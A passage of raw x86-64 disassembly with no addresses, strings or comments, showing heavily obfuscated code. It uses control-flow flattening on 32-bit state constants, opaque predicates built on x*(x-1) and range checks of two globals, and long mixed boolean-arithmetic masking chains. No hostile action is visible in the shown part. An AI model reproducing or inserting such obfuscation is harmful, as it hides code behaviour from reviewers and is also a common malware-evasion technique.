or al, dl
xor al, 1
xor bl, r10b
not bl
and bl, r10b
xor cl, r9b
not cl
and cl, r9b
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
xor cl, al
mov edx, ecx
not dl
and dl, al
mov eax, edx
xor al, cl
mov eax, 0x6c0105b7
mov ebp, 0xa2aedc4d
jmp 0x14013af4b
cmp ecx, 0x5867b6ee
je 0x14013f6bf
cmp ecx, 0x592eb017
jne 0x140132830
mov ecx, 0xb6e33aa1
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
cmp ecx, 0x9cb16a33
je 0x14013f79d
cmp ecx, 0x9eee9600
jne 0x140132830
mov eax, dword [0x1402656e8]
mov ecx, dword [0x1402656e4]
lea ebp, [rax - 1]
imul ebp, eax
mov edx, ebp
mov eax, ebp
xor eax, 0x5f983050
and eax, ebp
not ebp
mov ebx, ebp
and ebx, 0x42903000
and edx, 0x1d080050
or edx, ebx
xor edx, 0x1d080050
mov ebx, edx
and ebx, eax
xor eax, edx
or eax, ebx
mov edx, eax
not edx
and edx, 0xa067cfae
and eax, 0x5f983051
or eax, edx
mov edx, eax
not edx
and edx, 0xa1345e30
and eax, 0x5ecba1cf
or eax, edx
xor eax, 0x5ecba1cf
mov edx, eax
and edx, ebp
xor eax, ebp
or eax, edx
mov edx, eax
not edx
and edx, 0x25cbd146
and eax, 0xda342eb9
or eax, edx
xor eax, 0xda342eb9
setne r8b
sete r9b
cmp ecx, 9
setg sil
cmp ecx, 0xa
setl r11b
mov ecx, r11d
xor cl, sil
and cl, r11b
mov edx, ecx
xor dl, 1
or dl, cl
xor dl, 1
mov r10d, ecx
and r10b, dl
xor dl, cl
or dl, r10b
mov ebx, edx
xor bl, 1
mov ecx, ebx
and cl, dl
xor bl, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, bl
xor cl, r9b
mov edx, ecx
xor dl, 1
and r8b, r11b
or r11b, r9b
xor r11b, 1
and sil, r9b
or sil, r8b
mov ebx, r11d
and bl, sil
xor sil, r11b
or sil, bl
mov eax, esi
xor al, 1
mov ebx, eax
and bl, cl
or al, dl
and dl, sil
or dl, bl
xor sil, cl
xor al, 1
or al, sil
mov ebx, eax
xor bl, dl
test al, 1
mov ecx, 0x7cfb1a8c
mov eax, 0x3b20c157
cmovne ecx, eax
test dl, 1
cmove ecx, eax
test bl, 1
mov eax, 0x7cfb1a8c
jmp 0x140140dec
cmp ecx, 0xddd8dfea
je 0x14013f7b3
cmp ecx, 0xde3612b0
jne 0x140132830
mov ecx, dword [0x1402656e8]
mov r8d, dword [0x1402656e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
and edx, 0x31c398d5
and ebx, 0xce3c672a
or ebx, edx
mov edi, ebx
xor edi, 0x31c398d5
mov ecx, ebx
xor ecx, 0x82c6128
and ecx, 0x396c7928
xor ebx, 0xb47f0399
and ebx, edi
and edi, 0xc69386d7
or edi, ecx
mov edx, edi
xor edx, 0xc69386d7
mov ebp, edi
xor ebp, 0xbcd0e264
and ebp, edx
mov ecx, ebp
not ecx
mov esi, ebx
not esi
mov eax, ecx
and eax, 0x63f78237
and ebp, 0x9c087dc8
or ebp, eax
or ecx, esi
and esi, 0x63f78237
and ebx, 0x9c087dc8
or ebx, esi
xor ebx, ebp
not ecx
or ecx, ebx
mov eax, ecx
not eax
and eax, 0xa4836570
and ecx, 0x5b7c9a8f
or ecx, eax
mov ebx, ecx
xor ebx, 0x16800140
xor edi, 0x11281908
and edi, 0x15281f9d
mov eax, edx
and eax, 0xead7e062
or eax, edi
xor eax, 0x15281f9c
and edx, 1
or edx, eax
mov eax, edx
not eax
and eax, 0x81afa64b
and edx, 0x7e5059b4
or edx, eax
mov eax, edx
xor eax, 0x16000904
xor edx, 0x81afa64b
xor ecx, 0x213ffe3d
mov ebp, ecx
and ebp, 0xe87ef0b2
and ebx, 0x17810f4d
or ebx, ebp
or ecx, edx
and edx, 0xe87ef0b2
and eax, 0x17810f4d
or eax, edx
xor eax, ebx
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x10d006df
and ecx, 0xef2ff920
or ecx, eax
mov eax, ecx
not eax
and eax, 0xa1378159
and ecx, 0x5ec87ea6
or ecx, eax
mov eax, ecx
xor eax, 0xe185830
xor ecx, 0xa1208502
and ecx, 0xe120a54b
and eax, 0x1edf5ab4
or eax, ecx
xor eax, 0x1edf5ab4
cmp eax, 0xffffffff
setne al
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl bl
xor bl, al
mov edx, ebx
xor dl, cl
and dl, bl
xor cl, al
mov eax, edx
xor al, 1
and al, cl
xor cl, 1
mov ebx, edx
xor bl, cl
and bl, dl
and cl, dl
or cl, al
mov eax, ebx
xor al, cl
mov eax, 0x901bace5
mov edx, 0x79c7b1b
jmp 0x1401406fc
cmp ecx, 0x2f771836
je 0x14013fa2f
cmp ecx, 0x30997b06
jne 0x140132830
mov edx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea esi, [rdx - 1]
imul esi, edx
mov ebx, esi
not ebx
mov edx, ebx
and edx, 0x79019a75
mov ecx, esi
and ecx, 0x86fe658a
or ecx, edx
mov edi, ecx
xor edi, 0x6000
xor ecx, 0x10
mov ebp, ebx
or ebp, 0x9fa1e69d
mov edx, ebp
not edx
or ecx, 0xe1840
and ecx, 0x86ae1cd8
and edi, 0x1901e205
or edi, ecx
and ebp, 0x86ae1cd8
and edx, 0x60500122
or edx, ebp
xor edx, edi
mov ecx, edx
not ecx
and ecx, 0x605e1963
and edx, 0x9fa1e69c
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x480b7b05
and edx, 0xb7f484fa
or edx, ecx
mov ecx, edx
xor ecx, 0xb0300482
and ebx, 0xb787d83a
and esi, 0x487827c5
or esi, ebx
mov ebx, esi
xor ebx, 0x48380684
xor edx, 0x480b7b05
xor esi, 0xb787d83a
mov ebp, edx
and ebp, 0x7c6b179
and ecx, 0xf8394e86
or ecx, ebp
or edx, esi
and esi, 0x7c6b179
and ebx, 0xf8394e86
or ebx, esi
xor ebx, ecx
not edx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0x7343b165
and edx, 0x8cbc4e9a
or edx, ecx
xor edx, 0x8cbc4e9a
sete cl
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
xor al, dl
mov edx, ebx
or dl, cl
xor bl, cl
mov ecx, edx
xor cl, bl
xor bl, 1
xor cl, 1
or bl, dl
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, al
xor al, 1
or al, bl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0x4597f7ba
mov ebp, 0x87362108
cmovne ecx, ebp
test al, 1
cmovne ecx, ebp
not dl
test dl, 1
mov eax, 0x4597f7ba
jmp 0x140140dec
cmp ecx, 0x76797f30
je 0x14013fbad
cmp ecx, 0x7701af91
jne 0x140132830
mov edx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and ecx, edx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and edx, 0x871bedc1
and ecx, 0x78e4123e
or ecx, edx
mov edx, ecx
not edx
and edx, 0x78e4123e
and ecx, 0x871bedc1
or ecx, edx
mov edx, ecx
not edx
and edx, 0xa74c0b6c
and ecx, 0x58b3f493
or ecx, edx
mov edx, ecx
xor edx, 0x1000c413
xor ecx, 0x220c0160
and ecx, 0x6abf31e0
and edx, 0x9540ce1f
or edx, ecx
mov ecx, edx
xor ecx, 0xa0a20a0
xor edx, 0x1040c008
and edx, 0x70f5d148
and ecx, 0x8f0a2eb7
or ecx, edx
xor ecx, 0x8f0a2eb7
sete cl
setne r8b
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
mov ebx, edx
and dl, r8b
and r8b, al
and bl, cl
or bl, r8b
xor bl, 1
or bl, al
and cl, al
or dl, cl
mov eax, ebx
xor al, dl
xor dl, 1
or dl, bl
xor al, 1
mov ebx, edx
xor bl, al
test al, 1
mov ecx, 0xa48af1b5
mov ebp, 0x98b34977
cmovne ecx, ebp
test dl, dl
mov eax, 0xa48af1b5
cmovne ecx, eax
test bl, 1
jmp 0x14013ee2d
cmp ecx, 0xc027a91b
je 0x14013fc7f
cmp ecx, 0xc157d0c8
jne 0x140132830
mov ecx, 0x71bfdc97
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
cmp ecx, 0xa3bf522
je 0x14013fc95
cmp ecx, 0xa46010a
jne 0x140132830
mov edx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xb3619e01
and edx, ecx
or ecx, 0x4c9e61fe
mov ebp, ecx
not ebp
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xf90ce7b6
and ebp, 0x2611801
or ebp, edi
or ecx, ebx
and ebx, 0xf90ce7b6
and edx, 0x6f31849
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x4c9e61fe
and ecx, 0xb3619e01
or ecx, edx
mov ebx, ecx
mov edx, ecx
xor edx, 0x9a35c81e
and edx, ecx
not ecx
and ecx, 0x8cae44b8
and ebx, 0x7351bb47
or ebx, ecx
mov ebp, ebx
xor ebp, 0x7351bb47
mov ecx, ebp
and ecx, 0x9a35c81e
mov edi, ecx
and edi, edx
xor edx, ecx
or edx, edi
mov ecx, edx
not ecx
and ecx, 0x65ca37e0
and edx, 0x9a35c81f
or edx, ecx
and ebp, 1
xor ebx, 0x7351bb46
or ebx, ebp
mov ecx, ebx
not ecx
mov ebp, edx
not ebp
mov edi, ebp
and edi, 0x7a6ece0e
and edx, 0x859131f1
or edx, edi
or ebp, ebx
and ebx, 0x7a6ece0e
and ecx, 0x859131f1
or ecx, ebx
xor ecx, edx
not ebp
or ebp, ecx
mov ecx, ebp
not ecx
and ebp, 0x646e15b9
and ecx, 0x9b91ea46
or ecx, ebp
xor ecx, 0x646e15b9
setne r8b
sete r9b
cmp eax, 9
setg dl
cmp eax, 0xa
setl al
mov r10d, eax
xor r10b, dl
and r10b, al
xor r10b, r9b
and r8b, al
and dl, r9b
or dl, r8b
mov ebx, eax
and bl, r9b
xor al, r9b
or al, bl
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
xor dl, 1
mov ecx, edx
and cl, al
mov ebx, ecx
xor bl, 1
xor cl, dl
or bl, al
xor bl, 1
or bl, cl
xor bl, r10b
or dl, r10b
xor r10b, al
xor r10b, 1
xor dl, 1
or dl, r10b
mov eax, edx
xor al, bl
test al, 1
mov eax, 0x82daa19e
mov ecx, 0xe94f2b79
cmovne eax, ecx
test dl, 1
mov ecx, 0x82daa19e
jmp 0x14014056b
cmp ecx, 0x1683ff6f
je 0x14013fe40
cmp ecx, 0x170d6469
jne 0x140132830
mov edx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xcd9cae10
and ebp, 0x326351ef
or ebp, edi
or ecx, ebx
and ebx, 0xcd9cae10
and edx, 0x326351ef
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0x258b65f
and ecx, 0xfda749a0
or ecx, edx
xor ecx, 0xfda749a1
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x80e70c6c
and edx, ecx
and ecx, 0x7f18f393
or ecx, ebp
mov ebp, ecx
xor ebp, 0x5708f283
xor ecx, 0x80e70c6c
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x28d40110
and ebp, 0xd72bfeef
or ebp, edi
or ecx, ebx
and ebx, 0x28d40110
and edx, 0xd72bfeef
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x8146e23c
and ecx, 0x7eb91dc3
or ecx, ebp
xor ecx, 0x8146e23c
xor edx, ecx
test edx, ecx
sete r8b
setne r10b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r9b
mov eax, r9d
xor al, cl
and al, r9b
mov edx, eax
xor dl, 1
or al, dl
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov edx, r10d
and dl, al
not al
and al, r8b
or al, dl
mov edx, ecx
xor dl, r8b
and dl, cl
and r10b, r9b
and cl, r8b
or cl, r10b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor cl, al
and al, cl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x3e77f8b1
mov ebp, 0xd6d6008f
cmovne edx, ebp
test cl, cl
mov ecx, 0x3e77f8b1
cmovne ecx, edx
jmp 0x140140457
cmp ecx, 0x2700c3d7
je 0x140140001
cmp ecx, 0x2848e549
jne 0x140132830
mov ecx, 0x8875134e
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
cmp ecx, 0x41cb80ba
je 0x140140017
cmp ecx, 0x4215d4e7
jne 0x140132830
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
mov ebp, ecx
and ebp, 0xfffffffe
mov edx, ebx
xor edx, 0xfffffffe
and edx, ebx
mov edi, ebp
and edi, edx
xor edx, ebp
or edx, edi
mov ebp, edx
not ebp
and ecx, ebp
and edx, ebx
or edx, ecx
not edx
or edx, ebp
cmp edx, 0xffffffff
sete r9b
cmp eax, 9
setg dl
cmp eax, 0xa
setl r8b
mov ecx, r9d
xor cl, r8b
mov eax, ecx
xor al, 1
mov ebx, eax
xor bl, dl
and bl, al
xor dl, r9b
not dl
and dl, r9b
and cl, r8b
xor dl, 1
xor cl, 1
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov eax, ebx
xor al, 1
mov edx, ecx
xor dl, 1
and cl, al
or al, dl
and dl, bl
or dl, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ebp, 0xd0625067
mov ecx, 0xd81ee6be
cmovne ebp, ecx
test dl, 1
mov ecx, ebp
mov edx, 0xd0625067
jmp 0x14013ab10
cmp ecx, 0x869bfd88
je 0x140140202
cmp ecx, 0x87362108
jne 0x140132830
mov ecx, 0x30997b06
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
cmp ecx, 0xcb55a45e
je 0x140140380
cmp ecx, 0xcbac81b0
jne 0x140132830
mov ecx, 0xe9619ba
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
cmp ecx, 0x638920bd
je 0x14014045e
cmp ecx, 0x6394aa3c
jne 0x140132830
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0x959193f0
and edx, ebp
not ebp
and ebp, 0x1e86d474
and ecx, 0xe1792b8b
or ecx, ebp
mov ebp, ecx
xor ebp, 0x81010280
xor ecx, 0x14809070
or ecx, 0x6a6e6c0f
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x441e052b
and ebp, 0x918192d0
or ebp, edi
or ecx, ebx
and ebx, 0x441e052b
and edx, 0xbbe1fad4
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x30cf17d3
and ecx, 0xcf30e82c
or ecx, edx
mov ebp, ecx
xor ebp, 0xa55e8423
mov edx, ebp
or edx, 1
mov ebx, edx
not ebx
and ebp, 0xfffffffe
and ecx, 1
or ecx, ebp
mov ebp, ecx
not ebp
mov edi, edx
and edi, 0xedb4293b
and ebx, 0x124bd6c4
or ebx, edi
or edx, ebp
and ebp, 0xedb4293b
and ecx, 0x124bd6c4
or ecx, ebp
xor ecx, ebx
not edx
or edx, ecx
mov ecx, edx
xor ecx, 0xc940a7b6
and ecx, edx
not edx
and edx, 0xc940a7b6
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x36bf5849
and ecx, 0xc940a7b6
or ecx, edx
sete r9b
setne cl
cmp eax, 9
setg r8b
cmp eax, 0xa
setl al
mov ebx, ecx
xor bl, r9b
and bl, cl
mov ecx, ebx
xor cl, 1
and cl, bl
mov edx, ecx
and dl, bl
xor cl, bl
or cl, dl
mov edx, ecx
and dl, al
xor cl, 1
and cl, r8b
or cl, dl
mov edx, r9d
xor dl, al
and al, r9b
or al, dl
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, eax
not dl
mov ebx, ecx
xor bl, al
and bl, cl
and al, cl
xor cl, 1
and cl, dl
or al, cl
mov ecx, ebx
xor cl, al
test cl, 1
mov edx, 0x2b984291
mov ebp, 0xbb8e8b4d
cmovne edx, ebp
test al, al
mov ecx, edx
cmovne ecx, ebp
test bl, bl
jmp 0x140140c56
cmp ecx, 0xafa752bc
je 0x140140576
cmp ecx, 0xb042ad55
jne 0x140132830
mov ecx, 0xdc6067a7
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
cmp ecx, 0xeed8a074
je 0x14014070d
cmp ecx, 0xefb01833
jne 0x140132830
mov ecx, 0x3c9063b1
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
cmp ecx, 0x20a1c021
je 0x140140723
cmp ecx, 0x20ae4da9
jne 0x140132830
mov edx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xff9ad558
and edx, ecx
and ecx, 0x652aa7
or ecx, ebp
mov ebp, ecx
xor ebp, 0x42200
xor ecx, 0xff9ad558
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xd8fb59bf
and ebp, 0x2704a640
or ebp, edi
or ecx, ebx
and ebx, 0xd8fb59bf
and edx, 0x2704a640
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov esi, ecx
not esi
mov ebp, ecx
xor ebp, 0x1960bd6c
and ebp, esi
mov ebx, ecx
and ebx, 0xe69f4293
mov edi, ebp
and edi, ebx
xor ebx, ebp
or ebx, edi
mov ebp, ebx
not ebp
and ebp, 0xe69f4292
and ebx, 0x1960bd6d
or ebx, ebp
and ecx, 0x12fd444
mov edx, esi
and edx, 0xfed02bbb
or edx, ecx
xor edx, 0x12fd445
and esi, 1
or esi, edx
mov edx, esi
not edx
mov ecx, ebx
not ecx
mov ebp, ecx
and ebp, 0x90f1218b
and ebx, 0x6f0ede74
or ebx, ebp
or ecx, esi
and esi, 0x90f1218b
and edx, 0x6f0ede74
or edx, esi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xa93682f2
and ecx, 0x56c97d0d
or ecx, edx
mov edx, ecx
xor edx, 0x16084505
xor ecx, 0x28240092
and ecx, 0x68e5389a
and edx, 0x971ac765
or edx, ecx
xor edx, 0x68e5389a
sete cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg bl
mov eax, ebx
xor al, cl
xor bl, al
and bl, al
not al
and al, cl
xor cl, dl
and cl, dl
xor al, 1
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ebx
xor al, 1
mov edx, ecx
xor dl, 1
and cl, al
or al, dl
and dl, bl
or dl, cl
mov ecx, edx
xor cl, al
test dl, dl
mov edx, 0x6fd24ba1
mov ebp, 0xbb5257df
cmovne edx, ebp
test al, 1
mov eax, 0x6fd24ba1
cmovne edx, eax
test cl, 1
cmove edx, ebp
jmp 0x14014036d
cmp ecx, 0x3b20c157
je 0x140140739
cmp ecx, 0x3b23cfbc
jne 0x140132830
mov ecx, 0x2496c50
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
cmp ecx, 0x52af25c3
je 0x14014074f
cmp ecx, 0x559984d4
jne 0x140132830
mov eax, dword [0x1402656e8]
lea ebx, [rax - 1]
imul ebx, eax
mov edi, ebx
not edi
mov eax, edi
and eax, 0xf1db00a7
mov edx, ebx
and edx, 0xe24ff58
or edx, eax
mov eax, edx
xor eax, 0x4000000
xor edx, 0x21500086
mov ecx, ebx
xor ecx, 0x25749886
and ecx, ebx
or edx, 0xda8b6779
mov ebp, ecx
not ebp
mov esi, edx
and esi, 0x3aa6d938
and eax, 0x5500086
or eax, esi
or edx, ebp
and ebp, 0x3aa6d938
and ecx, 0xc55926c7
or ecx, ebp
xor ecx, eax
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x26f78271
and edx, 0xd9087d8e
or edx, eax
mov ebp, edx
xor ebp, 0x547c6400
xor edx, 0x1820a44
and edx, 0xa9828b4d
and ebp, 0x567d74b2
or ebp, edx
mov eax, ebp
xor eax, 0x421454a2
xor ebp, 0xa9828b4d
mov ecx, ebp
and ecx, 0x3c692210
and eax, 0xc396ddef
or eax, ecx
or ebp, ebx
and ebx, 0x3c692210
and edi, 0xc396ddef
or edi, ebx
xor edi, eax
not ebp
or ebp, edi
cmp ebp, 0xffffffff
sete r8b
setne cl
cmp dword [0x1402656e4], 0xa
setl al
mov ebx, ecx
or bl, al
xor cl, al
not cl
and cl, al
xor cl, 1
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
mov edx, eax
or dl, r8b
xor dl, 1
xor al, r8b
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov r8d, eax
xor r8b, 1
mov r11d, ecx
xor r11b, 1
mov r10d, ecx
and r10b, r11b
mov r9d, r8d
and r9b, al
mov edx, r10d
xor dl, 1
xor r10b, cl
or dl, r11b
xor dl, 1
or dl, r10b
mov ebx, r9d
xor bl, 1
xor r9b, r8b
or bl, al
xor bl, 1
or bl, r9b
xor bl, dl
mov ecx, r11d
and cl, al
xor r11b, al
or r11b, cl
mov eax, r11d
xor al, bl
test al, 1
mov eax, 0xb1d1ee4f
mov ecx, 0xc1acc54e
cmovne eax, ecx
test r11b, 1
mov ecx, 0xb1d1ee4f
jmp 0x14014056b
cmp ecx, 0x978d8b9a
je 0x140140765
cmp ecx, 0x988f8ff7
jne 0x140132830
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
not edx
and ebp, 0xad43f203
and edx, 0x52bc0dfc
or edx, ebp
mov ebp, edx
xor ebp, 0x8942f201
xor edx, 0x52bc0dfc
mov ecx, edx
and ecx, 0x368509b6
and ebp, 0xc97af649
or ebp, ecx
mov edi, ebp
not edi
mov ecx, ebp
xor ecx, 0x22040906
or ecx, 0x9cd3b0f8
mov esi, ecx
not esi
or edx, 0x632c4f07
mov ebx, edx
not ebx
and ecx, 0xe97a583b
and esi, 0x2040704
or esi, ecx
and edx, 0xe97a583b
and ebx, 0x1481a0c0
or ebx, edx
xor ebx, esi
mov ecx, ebx
not ecx
and ecx, 0x9cd3b0f9
and ebx, 0x632c4f06
or ebx, ecx
and edi, 1
xor ebp, 0xc97af648
or ebp, edi
mov ecx, ebp
not ecx
mov edx, ebx
not edx
mov edi, edx
and edi, 0xa5269db
and ebx, 0xf5ad9624
or ebx, edi
or edx, ebp
and ebp, 0xa5269db
and ecx, 0xf5ad9624
or ecx, ebp
xor ecx, ebx
not edx
or edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0xa3c8d1f0
and edx, 0x5c372e0f
or edx, ecx
mov ebx, edx
xor ebx, 0x200208
xor edx, 0x2404000
or ebp, 0xe64c29e
mov ecx, ebp
not ecx
or edx, 0xe1920901
and edx, 0xefd64907
and ebx, 0x208298
or ebx, edx
and ebp, 0xefd64907
and ecx, 0x10093460
or ecx, ebp
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0x98d33b8d
and ecx, 0x672cc472
or ecx, edx
xor ecx, 0x694806ec
sete r9b
setne r8b
cmp eax, 9
setg cl
cmp eax, 0xa
setl al
mov ebx, eax
xor bl, cl
and bl, al
mov edx, ebx
xor dl, 1
mov eax, edx
and al, bl
mov r10d, edx
and r10b, al
xor al, dl
or al, r10b
or dl, bl
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov ebx, r8d
xor r9b, cl
and r9b, cl
xor cl, r8b
or r8b, dl
xor bl, dl
xor bl, 1
and bl, dl
mov eax, r8d
xor al, bl
xor bl, 1
xor al, 1
or bl, r8b
xor bl, 1
or bl, al
mov eax, r9d
xor al, 1
xor r9b, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, r9b
mov eax, ecx
xor al, 1
mov edx, ebx
xor dl, 1
and al, dl
or dl, cl
and cl, bl
or cl, al
mov eax, edx
xor al, cl
test cl, 1
mov ecx, 0x528710d
mov ebp, 0xda518ada
cmovne ecx, ebp
test dl, 1
mov edx, 0x528710d
jmp 0x14013de1a
cmp ecx, 0xdb503062
je 0x1401408a0
cmp ecx, 0xdc6067a7
jne 0x140132830
mov eax, dword [0x1402656e8]
lea edx, [rax - 1]
imul edx, eax
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0x25a1c20c
mov eax, edx
and eax, 0xda5e3df3
or eax, ebp
mov ebp, eax
not ebp
and ebp, 0xda5e3df2
and eax, 0x25a1c20d
or eax, ebp
mov ebp, eax
not ebp
mov ebx, eax
and ebx, 0x6e5b07c1
and ebp, 0x91a4f83e
or ebp, ebx
or eax, edx
and edx, 0x6e5b07c1
and ecx, 0x91a4f83e
or ecx, edx
xor ecx, ebp
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xca9a083e
and eax, 0x3565f7c1
or eax, ecx
xor eax, 0x3565f7c1
sete al
setne cl
cmp dword [0x1402656e4], 0xa
setl bl
xor cl, bl
xor cl, 1
mov edx, ebx
or dl, al
xor dl, 1
or dl, cl
xor dl, 1
mov ecx, eax
xor cl, bl
and al, cl
and cl, bl
xor al, 1
xor cl, 1
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
xor cl, dl
mov eax, ecx
xor al, 1
and dl, al
xor al, dl
test cl, 1
mov ecx, 0xb042ad55
mov ebp, 0x6b1e1d56
cmovne ecx, ebp
test dl, dl
mov edx, 0xb042ad55
cmove ecx, edx
jmp 0x14013de1d
cmp ecx, 0x73c682df
je 0x140140a0f
cmp ecx, 0x73e52633
jne 0x140132830
mov ecx, 0xf071b240
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
cmp ecx, 0xbb49f673
je 0x140140a25
cmp ecx, 0xbb5257df
jne 0x140132830
mov ecx, 0x179c6760
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
cmp ecx, 0x66add95
je 0x140140a3b
cmp ecx, 0x717523d
jne 0x140132830
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0x31c42022
mov ebx, edx
and ebx, 0x84010651
or ebx, ecx
xor ebx, 0x84010651
and edx, 0x4a3ad98c
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0x4d9df35e
and edx, 0xb2620ca1
or edx, ecx
mov ecx, edx
xor ecx, 0x1a00800
xor edx, 0xf010550c
and edx, 0xf61777df
and ecx, 0x9e88820
or ecx, edx
xor ecx, 0x9e88820
mov edx, ecx
and edx, ebp
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
and edx, 0x1f86e93d
and ecx, 0xe07916c2
or ecx, edx
xor ecx, 0xe07916c2
sete r8b
setne bl
cmp eax, 9
setg dl
cmp eax, 0xa
setl al
or bl, al
or dl, r8b
mov ecx, ebx
xor cl, dl
or dl, bl
xor dl, 1
or dl, cl
mov ecx, eax
or cl, r8b
xor cl, 1
xor al, r8b
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, eax
xor cl, 1
and al, cl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
xor al, dl
mov ecx, eax
xor cl, 1
and dl, cl
xor cl, dl
test cl, 1
mov ebp, 0xb1948631
mov ecx, 0xbb49f673
cmovne ebp, ecx
test al, 1
mov ecx, ebp
mov eax, 0xb1948631
cmovne ecx, eax
test dl, dl
jmp 0x14013ee2d
cmp ecx, 0x478f27eb
je 0x140140b5a
cmp ecx, 0x480aa2bf
jne 0x140132830
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xd28f147e
and edx, 0x2d70eb81
or edx, ecx
mov ecx, edx
xor ecx, 0x4702a00
xor edx, 0xc2830460
and edx, 0xeb83c5e1
and ecx, 0x147c3a1e
or ecx, edx
mov ebp, ecx
xor ebp, 0xeb83c5e1
mov edx, ecx
xor edx, 0xeb83c5e0
and edx, ebp
xor ecx, 0x147c3a1e
and ecx, 0xfffffffe
and ebp, 1
or ebp, ecx
mov ebx, edx
not ebx
mov ecx, ebp
not ecx
mov edi, ebx
and edi, 0xd95c0b64
and edx, 0x26a3f49b
or edx, edi
or ebx, ecx
and ecx, 0xd95c0b64
and ebp, 0x26a3f49b
or ebp, ecx
xor ebp, edx
not ebx
or ebx, ebp
mov ecx, ebx
mov edx, ebx
xor edx, 0x8c68882d
and edx, ebx
not ebx
and ebx, 0x7e815068
and ecx, 0x817eaf97
or ecx, ebx
mov ebp, ecx
